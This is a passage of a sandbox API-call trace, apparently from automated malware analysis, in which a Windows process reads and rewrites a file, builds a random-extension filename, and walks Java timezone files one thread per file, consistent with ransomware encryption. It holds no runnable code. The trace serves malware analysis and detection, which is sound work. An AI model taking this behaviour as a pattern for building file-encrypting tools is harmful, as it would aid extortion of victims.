[0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x63b44d34 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x761b4d4e [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x14f74e76 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x5bd3d7b3 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x196bcf1a [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x4b312a12 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x4d645a78 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x2f90a207 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x1fc994b2 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x4b85e4a [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x2c722124 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x4932995b [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x381d0370 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x3f52425b [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x2b095e8f [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x667b394e [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x2b1a570c [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x19dafa38 [0153.940] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x63990d92 [0153.941] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x58ce2cde [0153.941] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x1f48743d [0153.941] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x7302849f [0153.941] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x5a888e3f [0153.941] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x73a02ae7 [0153.941] RtlRandomEx (in: Seed=0x2490fb50 | out: Seed=0x2490fb50) returned 0x368b0a75 [0153.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867bc0 [0153.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8c60 [0153.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867bc0) returned 1 [0153.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e30) returned 1 [0153.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1750 [0153.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867bc0 [0153.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0153.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0153.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42759e90 [0153.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4275daa0 [0153.956] ReadFile (in: hFile=0x1380, lpBuffer=0x42759e90, nNumberOfBytesToRead=0x4f8, lpNumberOfBytesRead=0x2490fb50, lpOverlapped=0x0 | out: lpBuffer=0x42759e90*, lpNumberOfBytesRead=0x2490fb50*=0x4f8, lpOverlapped=0x0) returned 1 [0153.956] SetFilePointerEx (in: hFile=0x1380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.956] WriteFile (in: hFile=0x1380, lpBuffer=0x4275daa0*, nNumberOfBytesToWrite=0x4f8, lpNumberOfBytesWritten=0x2490fb54, lpOverlapped=0x0 | out: lpBuffer=0x4275daa0*, lpNumberOfBytesWritten=0x2490fb54*=0x4f8, lpOverlapped=0x0) returned 1 [0161.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a61d0 [0161.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6200 [0161.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6200) returned 1 [0161.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4275daa0) returned 1 [0161.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42759e90) returned 1 [0161.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867bc0) returned 1 [0161.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1750) returned 1 [0161.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a6200 [0161.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1750 [0161.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867bc0 [0161.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6230 [0161.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6230) returned 1 [0161.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x423a6230 [0161.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6260 [0161.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6290 [0161.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6290) returned 1 [0161.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867bc0) returned 1 [0161.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1750) returned 1 [0161.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x100) returned 0x423a90a0 [0161.889] SetFilePointerEx (in: hFile=0x1380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.889] WriteFile (in: hFile=0x1380, lpBuffer=0x423a90a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2490fc70, lpOverlapped=0x0 | out: lpBuffer=0x423a90a0*, lpNumberOfBytesWritten=0x2490fc70*=0x100, lpOverlapped=0x0) returned 1 [0163.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3970 [0163.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3970) returned 1 [0163.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0163.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3970 [0163.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3940 [0163.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3940) returned 1 [0163.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x422f3940 [0163.807] sprintf (in: _Dest=0x422f3940, _Format="%c%c" | out: _Dest="09") returned 2 [0163.807] sprintf (in: _Dest=0x422f3942, _Format="%c%c" | out: _Dest="9a") returned 2 [0163.807] sprintf (in: _Dest=0x422f3944, _Format="%c%c" | out: _Dest="e2") returned 2 [0163.807] sprintf (in: _Dest=0x422f3946, _Format="%c%c" | out: _Dest="94") returned 2 [0163.807] sprintf (in: _Dest=0x422f3948, _Format="%c%c" | out: _Dest="ae") returned 2 [0163.807] sprintf (in: _Dest=0x422f394a, _Format="%c%c" | out: _Dest="73") returned 2 [0163.807] sprintf (in: _Dest=0x422f394c, _Format="%c%c" | out: _Dest="04") returned 2 [0163.807] sprintf (in: _Dest=0x422f394e, _Format="%c%c" | out: _Dest="ac") returned 2 [0163.807] sprintf (in: _Dest=0x422f3950, _Format="%c%c" | out: _Dest="29") returned 2 [0163.807] sprintf (in: _Dest=0x422f3952, _Format="%c%c" | out: _Dest="0e") returned 2 [0163.807] sprintf (in: _Dest=0x422f3954, _Format="%c%c" | out: _Dest="81") returned 2 [0163.807] sprintf (in: _Dest=0x422f3956, _Format="%c%c" | out: _Dest="af") returned 2 [0163.807] sprintf (in: _Dest=0x422f3958, _Format="%c%c" | out: _Dest="93") returned 2 [0163.807] sprintf (in: _Dest=0x422f395a, _Format="%c%c" | out: _Dest="74") returned 2 [0163.808] RtlInitAnsiString (in: DestinationString=0x2490fce8, SourceString="099ae294ae7304ac290e81af9374" | out: DestinationString="099ae294ae7304ac290e81af9374") [0163.808] RtlAnsiStringToUnicodeString (in: DestinationString=0x2490fcb8, SourceString="099ae294ae7304ac290e81af9374", AllocateDestinationString=1 | out: DestinationString="099ae294ae7304ac290e81af9374") returned 0x0 [0163.808] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce18aa0 [0163.808] RtlFreeAnsiString (AnsiString="0") [0163.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3940) returned 1 [0163.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0163.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3970) returned 1 [0163.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a90a0) returned 1 [0163.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6230) returned 1 [0163.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6260) returned 1 [0163.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6200) returned 1 [0163.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a61d0) returned 1 [0163.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bd00) returned 1 [0163.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0163.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8c60) returned 1 [0163.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1ce59c30 [0163.811] wcscat (in: _Dest=0x1ce59c30, _Source="099ae29" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\099ae29") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\099ae29" [0163.811] wcscat (in: _Dest=0x1ce59c30, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\099ae29.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\099ae29.2f9b60" [0163.811] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\099ae29.2f9b60", NtPathName=0x2490fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\099ae29.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4230d6a0 Thread: id = 2459 os_tid = 0x1ee0 [0153.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1ced92b0 [0153.919] wcscpy (in: _Dest=0x1ced92b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0153.919] wcscat (in: _Dest=0x1ced92b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0153.919] wcscat (in: _Dest=0x1ced92b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*" [0153.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd60f50 [0153.919] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\*", lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d730 [0153.988] wcscmp (_String1=".", _String2=".") returned 0 [0153.988] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.988] wcscmp (_String1="..", _String2=".") returned 1 [0153.988] wcscmp (_String1="..", _String2="..") returned 0 [0153.988] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT", cAlternateFileName="")) returned 1 [0153.988] wcscmp (_String1="GMT", _String2=".") returned 1 [0153.988] wcscmp (_String1="GMT", _String2="..") returned 1 [0153.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced94e0 [0153.988] wcscpy (in: _Dest=0x1ced94e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0153.988] wcscat (in: _Dest=0x1ced94e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0153.988] wcscat (in: _Dest=0x1ced94e0, _Source="GMT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT" [0158.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced94e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x248c [0158.968] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+1", cAlternateFileName="GMT_1~1")) returned 1 [0158.968] wcscmp (_String1="GMT+1", _String2=".") returned 1 [0158.968] wcscmp (_String1="GMT+1", _String2="..") returned 1 [0158.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced8a60 [0158.968] wcscpy (in: _Dest=0x1ced8a60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.968] wcscat (in: _Dest=0x1ced8a60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.968] wcscat (in: _Dest=0x1ced8a60, _Source="GMT+1" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+1" [0158.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced8a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2478 [0158.969] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+10", cAlternateFileName="GMT_10~1")) returned 1 [0158.969] wcscmp (_String1="GMT+10", _String2=".") returned 1 [0158.969] wcscmp (_String1="GMT+10", _String2="..") returned 1 [0158.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced9400 [0158.969] wcscpy (in: _Dest=0x1ced9400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.969] wcscat (in: _Dest=0x1ced9400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.969] wcscat (in: _Dest=0x1ced9400, _Source="GMT+10" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+10" [0158.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced9400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23d0 [0158.970] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+11", cAlternateFileName="GMT_11~1")) returned 1 [0158.970] wcscmp (_String1="GMT+11", _String2=".") returned 1 [0158.970] wcscmp (_String1="GMT+11", _String2="..") returned 1 [0158.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced9630 [0158.970] wcscpy (in: _Dest=0x1ced9630, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.970] wcscat (in: _Dest=0x1ced9630, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.971] wcscat (in: _Dest=0x1ced9630, _Source="GMT+11" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+11" [0158.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced9630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2394 [0158.971] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+12", cAlternateFileName="GMT_12~1")) returned 1 [0158.971] wcscmp (_String1="GMT+12", _String2=".") returned 1 [0158.972] wcscmp (_String1="GMT+12", _String2="..") returned 1 [0158.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced8f30 [0158.972] wcscpy (in: _Dest=0x1ced8f30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.972] wcscat (in: _Dest=0x1ced8f30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.972] wcscat (in: _Dest=0x1ced8f30, _Source="GMT+12" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+12" [0158.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced8f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2380 [0158.973] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+2", cAlternateFileName="GMT_2~1")) returned 1 [0158.973] wcscmp (_String1="GMT+2", _String2=".") returned 1 [0158.973] wcscmp (_String1="GMT+2", _String2="..") returned 1 [0158.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced98d0 [0158.973] wcscpy (in: _Dest=0x1ced98d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.973] wcscat (in: _Dest=0x1ced98d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.973] wcscat (in: _Dest=0x1ced98d0, _Source="GMT+2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+2") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+2" [0158.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced98d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x237c [0158.986] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+3", cAlternateFileName="GMT_3~1")) returned 1 [0158.986] wcscmp (_String1="GMT+3", _String2=".") returned 1 [0158.986] wcscmp (_String1="GMT+3", _String2="..") returned 1 [0158.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced8bb0 [0158.986] wcscpy (in: _Dest=0x1ced8bb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0158.986] wcscat (in: _Dest=0x1ced8bb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0158.986] wcscat (in: _Dest=0x1ced8bb0, _Source="GMT+3" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+3" [0158.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced8bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d70 [0158.987] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT+4", cAlternateFileName="GMT_4~1")) returned 1 [0158.987] wcscmp (_String1="GMT+4", _String2=".") returned 1 [0158.987] wcscmp (_String1="GMT+4", _String2="..") returned 1 [0158.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1ced89f0 [0158.988] wcscpy 